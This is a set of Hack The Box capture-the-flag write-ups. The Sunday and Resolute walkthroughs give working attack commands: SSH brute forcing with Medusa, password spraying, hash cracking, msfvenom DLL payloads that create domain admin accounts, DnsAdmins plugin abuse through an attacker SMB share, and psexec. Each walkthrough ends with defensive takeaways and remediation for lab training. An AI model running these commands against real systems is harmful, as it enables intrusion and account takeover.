OpenSecret writeup

Challenge name: OpenSecret

Difficulty: Very Easy

Challenge Scenario: A simple help desk portal where users can submit support tickets. The application uses JWT tokens for session management, but something seems off about how they’re implemented. Can you find the security flaw?

Link: https://app.hackthebox.com/challenges/OpenSecret?tab=play_challenge

Machine IP: 154.57.164.66:32719

We can see the website.

When I make a test support ticket it stats I have ‘No session token provided’.

Checked the source code and it looks like the flag is there.

GG

Addition writeup

Challenge name: Addition

Difficulty: Very Easy

Challenge Scenario: Two ancient runes hold hidden powers. Combine them to unlock the sum and reveal their secret.

Link: https://app.hackthebox.com/challenges/Addition?tab=play_challenge

Machine IP: 154.57.164.67:30576

Very simple programming challenge. Just add two variables.

GG

Extraterrestrial Persistence writeup

Challenge name: Extraterrestrial Persistence

Difficulty: Very Easy

Challenge Scenario: There is a rumor that aliens have developed a persistence mechanism that is impossible to detect. After investigating her recently compromised Linux server, Pandora found a possible sample of this mechanism. Can you analyze it and find out how they install their persistence?

Link: https://app.hackthebox.com/challenges/Extraterrestrial%2520Persistence?tab=play_challenge

Machine IP: NA

Downloaded the file Extraterrestrial_Persistence.zip. Unzipped it. There is a persistence.sh file. Read that.

The base64 was the most interesting of this. Decoded it myself and I got the flag.

GG

Trapped Source writeup

Challenge name: Trapped Source

Difficulty: Very Easy

Challenge Scenario: Intergalactic Ministry of Spies tested Pandora’s movement and intelligence abilities. She found herself locked in a room with no apparent means of escape. Her task was to unlock the door and make her way out. Can you help her in opening the door?

Link: https://app.hackthebox.com/challenges/Trapped%2520Source?tab=play_challenge

Machine IP: 154.57.164.75:30894

Navigated to the site. Shows us a locked keypad.

Checked sourcecode and we see the pin 6794.

Put that in and we got the flag.

GG

Reversal writeup

Challenge name: Reversal 

Difficulty: Easy

Challenge Scenario: A dark incantation was written backward in a spellbook. Reverse the cursed words to reveal their true meaning.

Link: https://app.hackthebox.com/challenges/Reversal?tab=play_challenge

Machine IP: 154.57.164.79:32007

Navigated to the site. Using programming it asks us to flip a given string. Googled how to reverse text with Python as I haven’t touched programming in a while and we got the flag. This is the code I used.

GG

SpookyPass writeup

Challenge name: SpookyPass

Difficulty: Easy

Challenge Scenario: All the coolest ghosts in town are going to a Haunted Houseparty – can you prove you deserve to get in?

Link: https://app.hackthebox.com/challenges/SpookyPass?tab=play_challenge

Machine IP: NA

Downloaded the file SpookyPass.zip.

Unzipped it.

unzip SpookyPass.zip

Cd’ed into it. Saw a file pass. Read it and we can see a password and flag.

HTB{un0bfu5c4t3d_5tr1ng5}

GG

Sunday writeup

Box name: Sunday

Difficulty: Easy

OS: Solaris

Overview: Sunday is a fairly simple machine, however it uses fairly old software and can be a bit unpredictable at times. It mainly focuses on exploiting the Finger service as well as the use of weak credentials.

Link: https://app.hackthebox.com/machines/Sunday?sort_by=created_at&sort_type=desc

Machine IP: 10.129.31.172

Ran rustscan to scan the machine.

rustscan -a 10.129.31.172 –ulimit 5000 -b 2000 — -A -Pn

I have never seen port 79 before. Decided to look it up on hacktricks and there are some notes on it https://hacktricks.wiki/en/network-services-pentesting/pentesting-finger.html. Read through that and looks like there may be usernames we can grab, along with other information. Ran finger-user-enum.

perl ~/fknhack/finger-user-enum-1.0/finger-user-enum.pl -U /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -t 10.129.31.172

Interesting users are root, sammy and sunny. I checked out the http server 6787 but bad request. Looks like nothing comes from this.

Ssh is strangely on another port. Tried bruteforcing with hydra but that wasn’t working. Tried medusa and it started running.

medusa -h 10.129.31.172 -n 22022 -u sunny -P /usr/share/wordlists/rockyou.txt -M ssh -f

It ended up finding sunday as the password which I should’ve just guessed…

Sunny:sunday

We can ssh in successfully.

User.txt is in sammy’s /home though but we don’t have her credentials yet.

Ran sudo -l for a quick win and we can run something called troll. I hope this isn’t bait.

Tried googling and looking it up on gtfobins. Ran it too.

It looks like I got trolled. I’ll throw linpeas on the machine. Ran httpserver.

sudo python3 -m http.server

Downloaded it to the machine in /tmp. Made it executable then ran it.

curl http://10.10.16.147:8000/linpeas.sh -o linpeas.sh

Since this is Solaris though the output is mostly junk. When moving to /tmp though I noticed a /backup. Reading those files it looks like it’s a backup of the hashes.

Put her hash in hash.txt. As this is sha256crypt we try to crack it with hashcat with module 7400.

hashcat -m 7400 hash.txt /usr/share/wordlists/rockyou.txt

Sammy:cooldude!

SShed into sammy and grabbed the flag.

Ran sudo -l and we have wget as root.

Checked out what we can do using gtfobins https://gtfobins.org/gtfobins/wget/#shell. And following those steps gets us root.

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 79 (Finger), 111 (RPC), 6787 (HTTP), and 22022 (SSH). Port 79 was unfamiliar so researched it on HackTricks. The HTTP server on 6787 returned a bad request. SSH was running on a non-standard port.

rustscan -a 10.129.31.172 –ulimit 5000 -b 2000 — -A -Pn

2 – Finger service user enumeration Used finger-user-enum with a large username wordlist against the Finger service and identified three valid users: root, sammy, and sunny.

perl finger-user-enum.pl -U /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -t 10.129.31.172

3 – SSH brute force and initial access Attempted brute forcing with Hydra but it was unreliable. Switched to Medusa against the sunny account using rockyou on the non-standard SSH port and recovered the password. SSH’d in as sunny.

medusa -h 10.129.31.172 -n 22022 -u sunny -P /usr/share/wordlists/rockyou.txt -M ssh -f

Credentials recovered: sunny:sunday

4 – Hash recovery from backup file User.txt was in sammy’s home directory and was not accessible as sunny. Ran sudo -l and found access to a troll binary which did nothing useful. Uploaded and ran LinPEAS but output was mostly noise on Solaris. While navigating to /tmp found a /backup directory containing a shadow file backup with sammy’s password hash.

5 – Hash cracking and lateral movement Identified the hash as sha256crypt and cracked it with Hashcat. SSH’d in as sammy and retrieved user.txt.

hashcat -m 7400 hash.txt /usr/share/wordlists/rockyou.txt

Credentials recovered: sammy:cooldude!

6 – Privilege Escalation – wget sudo abuse Ran sudo -l as sammy and found wget could be run as root. Used the GTFOBins wget technique to escalate to root and retrieved root.txt.

Key Takeaways

1. Finger service exposing valid usernames – The Finger service on port 79 allowed unauthenticated enumeration of valid system users including root, sammy, and sunny. The Finger service is a decades-old protocol with no place on modern systems and must be disabled on all hosts.
   
2. Weak SSH password brute forced with rockyou – Sunny’s SSH password was the word sunday, matching the box name and trivially guessable. Weak passwords on SSH-accessible accounts are critical findings. Password-based SSH authentication must be replaced with key-based authentication and accounts must use strong randomly generated passwords.
   
3. Shadow file backup readable by a low-privilege user – A backup of the shadow file was stored in /backup and was readable without root privileges, exposing password hashes for all backed-up accounts. Shadow file backups must be stored with the same restrictions as the live shadow file and must be readable only by root.
   
4. Weak password crackable with rockyou – Sammy’s password was in the rockyou wordlist and cracked quickly from a sha256crypt hash. All user passwords must meet complexity requirements that make dictionary attacks impractical regardless of the hashing algorithm in use.
   
5. wget sudo rule enabling privilege escalation – Sammy could run wget as root, which GTFOBins documents as a reliable privilege escalation path. Sudo rules must be reviewed against GTFOBins before deployment and any rule granting file download or output redirection capabilities as root must be considered equivalent to full root access.
   
6. SSH running on a non-standard port – SSH was listening on port 22022 rather than the standard port 22. Non-standard ports provide no meaningful security benefit and obscure the service from standard monitoring and scanning tools used by defenders.
   

Remediation

[Immediate] Disable the Finger service Remove or disable the Finger daemon immediately and block port 79 at the host firewall and network perimeter. The Finger protocol provides no operational value on modern systems and exposes user enumeration capabilities to any unauthenticated host.

[Immediate] Remove the wget sudo rule Delete the sudoers entry allowing sammy to run wget as root immediately. Audit all sudo configurations across the environment for similar entries granting file transfer, download, or output redirection capabilities as root and remove any that are not explicitly required with a documented justification.

[Immediate] Restrict access to shadow file backups Set the /backup directory and all files within it to be readable only by root. Audit all backup locations across the system for sensitive files including shadow, passwd, and credential stores. Implement a backup policy that applies the same access controls to backup copies as to the originals.

[Immediate] Enforce key-based SSH authentication Disable password-based SSH authentication by setting PasswordAuthentication no in the SSH configuration. Require all users to authenticate with SSH keys. Rotate all accounts where passwords have been recovered and enforce strong randomly generated passwords as a minimum on any system where password auth cannot be immediately disabled.

[Short-term] Enforce strong passwords across all accounts Both sunny and sammy had passwords that were crackable with rockyou. Enforce a password policy requiring a minimum of 14 characters with complexity for all accounts. Audit existing passwords against common wordlists and force resets where weak passwords are identified.

[Long-term] Decommission legacy services and implement a hardening baseline Solaris systems running legacy services like Finger are frequently overlooked in hardening programs. Define a hardening baseline covering service minimization, SSH configuration, backup file permissions, sudo policy, and password requirements. Include legacy and non-Linux Unix systems in the scope of regular vulnerability scans and penetration tests.

Resolute writeup

Box name: Resolute

Difficulty: Medium

OS: Windows

Overview: Resolute is an easy difficulty Windows machine that features Active Directory. The Active Directory anonymous bind is used to obtain a password that the sysadmins set for new user accounts, although it seems that the password for that account has since changed. A password spray reveals that this password is still in use for another domain user account, which gives us access to the system over WinRM. A PowerShell transcript log is discovered, which has captured credentials passed on the command-line. This is used to move laterally to a user that is a member of the DnsAdmins group. This group has the ability to specify that the DNS Server service loads a plugin DLL. After restarting the DNS service, we achieve command execution on the domain controller in the context of NT_AUTHORITY\SYSTEM.

Link: https://app.hackthebox.com/machines/Resolute?sort_by=created_at&sort_type=desc

Machine IP: 10.129.96.155

Ran rustscan on the target.

rustscan -a 10.129.96.155 –ulimit 5000 -b 2000 — -A -Pn

And we got another AD machine. Added megabank.local to /etc/hosts. Ran ldapsearch and we get a lot of information. One thing that is important is it dropped users for us. Here is one example screenshot.

ldapsearch -x -H ldap://10.129.96.155:389 -b “dc=megabank,dc=local”

This user it specifically interesting because in the description it shows that his password is set to marko:Welcome123! 

I also made a list users.txt of all the users if we need them later. Melanie is also an interesting user as she has Remote Management Users group.

I tried getting into marko but was unable to.

netexec smb 10.129.96.155 -u marko -p ‘Welcome123!’

Instead I tried spraying that password on all users and it actually gets us access to melanie.

netexec smb 10.129.96.155 -u users.txt -p ‘Welcome123!’ –continue-on-success

megabank.local/melanie:Welcome123!

Evil-winrm’ed in.

evil-winrm -i 10.129.96.155 -u melanie -p Welcome123!

Got user.txt

Tried kerberoasting but didn’t find anything. Uploaded winPEAS from evil-winrm and ran it. In home folders it’s interesting that out of all the users there is a only a melanie and ryan that logged in.

I don’t have access to ryan’s directory though. Winpeas didn’t find much more I could find. After a lot more enumeration we can find a file in PSTranscripts that shows previous PS commands ryan ran.

Get-Content C:\PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt

And there are credentials in here.

megabank.local/ryan:Serv3r4Admin4cc123!

I was able to evil-winrm with those credentials.

evil-winrm -i 10.129.96.155 -u ryan -p Serv3r4Admin4cc123!

When I checked groups, ryan has access to DnsAdmins.

As DnsAdmins can load custom DLLs into the DNS server that runs as system we might be able to take advantage of this. Created a DLL payload.

msfvenom -p windows/x64/exec CMD=’net user kami Password123! /add /domain’ -f dll -o pwn.dll             

Uploaded it and pointed DNS to it.

dnscmd RESOLUTE /config /serverlevelplugindll C:\Users\ryan\Documents\pwn.dll

Restarted the DNS service.

sc.exe stop dns

sc.exe start dns

This didn’t work. Was confused for a bit, peeked at the writeup and they are doing the same thing but they transfer with an smbserver so I’ll try that.

msfvenom -p windows/x64/exec CMD=’net user kami Password123! /add /domain’ -f dll -o pwn2.dll

Setup smbserver.

sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali .

Pointed the dns.

dnscmd RESOLUTE /config /serverlevelplugindll \\10.10.16.147\kali\pwn2.dll

Restarted the service.

sc.exe stop dns

sc.exe start dns

And that created the account.

Did this all again but created a pwn3.dll that would make this account a domain admin.

msfvenom -p windows/x64/exec CMD=’net group “Domain Admins” kami /add /domain’ -f dll -o pwn3.dll

Since we don’t have Remote Management I just used psexec to get in.

impacket-psexec megabank.local/kami:’Password123!’@10.129.96.155

Got root.txt

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified a domain-joined Windows machine with ports including 53 (DNS), 88 (Kerberos), 135 (MSRPC), 389 (LDAP), 445 (SMB), and 5985 (WinRM). Added megabank.local to /etc/hosts. Ran an anonymous LDAP search and retrieved a full list of domain users. Found a password in the description field of the marko account and noted that melanie was a member of the Remote Management Users group.

rustscan -a 10.129.96.155 –ulimit 5000 -b 2000 — -A -Pn ldapsearch -x -H ldap://10.129.96.155:389 -b “dc=megabank,dc=local”

2 – Password spray and WinRM access Attempted to authenticate as marko with the password from his description field but it had been changed. Sprayed the same password across all enumerated users and got a hit on melanie. Connected via evil-winrm and retrieved user.txt.

netexec smb 10.129.96.155 -u users.txt -p ‘Welcome123!’ –continue-on-success evil-winrm -i 10.129.96.155 -u melanie -p Welcome123!

Credentials recovered: megabank.local/melanie:Welcome123!

3 – Lateral movement via PowerShell transcript Uploaded and ran WinPEAS. Noted that only melanie and ryan had logged in from the home folders list. After further manual enumeration found a PowerShell transcript log file in PSTranscripts containing a command ryan had run with his credentials passed on the command line. Authenticated via evil-winrm as ryan.

Get-Content C:\PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt evil-winrm -i 10.129.96.155 -u ryan -p Serv3r4Admin4cc123!

Credentials recovered: megabank.local/ryan:Serv3r4Admin4cc123!

4 – Privilege Escalation – DnsAdmins plugin DLL abuse Confirmed ryan was a member of the DnsAdmins group. The DnsAdmins group can specify a plugin DLL for the DNS Server service which runs as SYSTEM. Generated a DLL payload with msfvenom to add a new user. Initial transfer via direct path failed so served the DLL via an impacket SMB server instead. Pointed the DNS server at the DLL and restarted the service to execute the payload. Ran a second payload to add the new user to Domain Admins.

msfvenom -p windows/x64/exec CMD=’net user kami Password123! /add /domain’ -f dll -o pwn2.dll sudo python3 smbserver.py kali . dnscmd RESOLUTE /config /serverlevelplugindll \\10.10.16.147\kali\pwn2.dll sc.exe stop dns && sc.exe start dns

5 – Root Used impacket-psexec with the newly created Domain Admin account to get a SYSTEM shell and retrieved root.txt.

impacket-psexec megabank.local/kami:’Password123!’@10.129.96.155

Key Takeaways

1. Password stored in AD description field – The marko account had its default password stored in the description field, readable by any authenticated or anonymous LDAP query. AD description fields must be audited regularly for credential data and must never be used to store passwords or hints.
   
2. Anonymous LDAP bind exposing domain users and descriptions – The domain controller allowed anonymous LDAP queries returning full user objects including description fields. Anonymous LDAP bind must be disabled on all domain controllers and LDAP access must require authentication.
   
3. Default password reused across multiple accounts – The Welcome123! password set for marko was still active on melanie’s account, indicating a weak provisioning process with no enforcement of password changes. Each account must be assigned a unique password at creation and forced to change it on first login through a technical control.
   
4. Credentials captured in PowerShell transcript logs – Ryan’s credentials were visible in a PowerShell transcript file, having been passed on the command line during a previous session. Credentials must never be passed as command-line arguments as they are captured in logs, process lists, and transcript files. Use secure credential objects or secrets management solutions instead.
   
5. DnsAdmins group membership enabling SYSTEM execution – Ryan’s membership in DnsAdmins allowed loading an arbitrary DLL into the DNS Server service running as SYSTEM. DnsAdmins membership must be treated as equivalent to Domain Admin for the purposes of access control and must be restricted to accounts with an explicit operational requirement.
   

Remediation

[Immediate] Remove credentials from all AD description and attribute fields Audit all Active Directory objects for passwords or sensitive data in description, comment, or info fields. Remove all findings immediately, rotate affected credentials, and implement a recurring automated check as part of AD health monitoring.

[Immediate] Disable anonymous LDAP bind Configure all domain controllers to require authentication for LDAP queries. Set the dsHeuristics attribute to disable anonymous access and enforce LDAP signing and channel binding via Group Policy to prevent unauthenticated enumeration of domain objects.

[Immediate] Enforce password change on first login and eliminate shared default passwords Implement a technical control requiring all newly provisioned accounts to change their password before any other access is granted. Audit all accounts for unchanged default passwords and force immediate resets. Each account must receive a unique randomly generated initial password.

[Immediate] Disable PowerShell transcription or restrict transcript storage permissions If PowerShell transcription is required for auditing purposes, ensure transcript files are written to a location accessible only by administrators and security monitoring systems. Rotate ryan’s credentials immediately and audit all existing transcript files for captured credentials across the environment.

[Immediate] Restrict DnsAdmins group membership Audit all members of the DnsAdmins group and remove any accounts that do not have an explicit operational requirement. Treat DnsAdmins membership as equivalent to Domain Admin and apply the same access controls, monitoring, and justification requirements. Alert on any changes to this group membership.

[Short-term] Enforce strong unique passwords for all domain accounts Implement a Fine-Grained Password Policy requiring a minimum of 15 characters with complexity for all domain accounts. Deploy a banned password list blocking Welcome123! and similar patterns. Audit existing passwords against common wordlists and force resets where weak passwords are identified.

[Long-term] Implement tiered Active Directory administration and enhanced monitoring Adopt a tiered AD model to limit lateral movement from standard user accounts to privileged groups such as DnsAdmins. Deploy SIEM detection rules for DnsAdmins plugin DLL changes, DNS service restarts following configuration changes, and anonymous LDAP query activity. Include Active Directory privilege escalation paths in the regular penetration testing scope.